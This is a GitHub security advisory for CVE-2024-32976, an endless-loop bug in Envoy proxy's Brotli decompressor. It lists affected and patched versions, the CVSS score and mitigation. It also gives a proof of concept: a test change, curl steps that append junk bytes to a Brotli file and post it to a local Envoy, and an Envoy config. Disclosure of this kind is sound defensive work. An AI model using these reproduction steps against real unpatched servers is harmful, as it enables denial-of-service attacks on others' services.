Skip to content

Endless loop while decompressing Brotli data with extra input

High
phlax published GHSA-7wp5-c2vq-4f8m Jun 4, 2024

Package

brotli_decompressor_impl.cc (Envoyproxy)

Affected versions

>1.18.0, < 1.30.2

Patched versions

1.30.2, 1.29.5, 1.28.4, 1.27.6

Description

Summary

Envoyproxy with a Brotli filter can get into an endless loop during decompression of Brotli data with extra input.

Details

The decompress method will keep processing the data as long as there is available input.

Once the original compressed data (up to the extra input) is decoded, additional calls to the Brotli lib will not trigger an error and will keep the available data unchanged, and causing an infinite loop.

A reference to how this use case was handled in the brotli cli tool, can be found here:
https://github.com/google/brotli/blob/adbc354d23af714a557730cc0e15fc38909e4ef0/c/tools/brotli.c#L1253

PoC

To reproduce using an existing unit test BrotliDecompressorImplTest.CompressAndDecompress


After the line:

accumulation_buffer.add(buffer);`

Add the line:

accumulation_buffer.add("ABCDE");

To reproduce with a running envoyproxy, use the configuration below that is set to decompress requests to localhost:10000 and forward them to httpbin.org.

Note that the configuration also includes a buffer filter as recommended here: https://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_filters/decompressor_filter

  • Compress a file with brotli:
    $ brotli file.json -o file.json.br
  • Verify you are able to send the data in the file to the server.
    $ curl -d "@file.json.br" -H "Content-Type: application/json"  -H "Content-Encoding: br" -X POST localhost:10000/anything
  • Append data to the end of the file.
    echo "12345" >> file.json.br
  • See that local decompression is failing on the new file.
    brotli -d file.json.br
    >>corrupt input [file.json.br] 
  • Try to send the new data to the server
    curl -d "@file.json.br" -H "Content-Type: application/json"  -H "Content-Encoding: br" -X POST localhost:10000/anything
  • The curl request should now be stuck!

Envoyproxy Configuration:

static_resources:
  listeners:
  - address:
      socket_address:
        address: 0.0.0.0
        port_value: 10000
    filter_chains:
    - filters:
      - name: envoy.http_connection_manager
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
          codec_type: AUTO
          stat_prefix: ingress_http
          route_config:
            name: local_route
            virtual_hosts:
            - name: local_service
              domains: ["*"]
              routes:
              - match: { prefix: "/" }
                route:
                  cluster: httpbin_cluster
          http_filters:
          - name: envoy.filters.http.decompressor
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.filters.http.decompressor.v3.Decompressor
              decompressor_library:
                name: brotli
                typed_config:
                  "@type": type.googleapis.com/envoy.extensions.compression.brotli.decompressor.v3.Brotli
          - name: envoy.filters.http.buffer
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.filters.http.buffer.v3.Buffer
              max_request_bytes: 5242880
          - name: envoy.router
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router
  clusters:
  - name: httpbin_cluster
    connect_timeout: 0.25s
    type: STRICT_DNS
    lb_policy: ROUND_ROBIN
    load_assignment:
      cluster_name: httpbin_cluster
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address:
                address: httpbin.org
                port_value: 80

Impact

The above can easily be used as a DOS/DDOS attack on any EnvoyProxy server that uses the Brotli filter.

Mitigation

Avoid use of brotli filter or update to version with fixes

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2024-32976

Weaknesses

No CWEs

Credits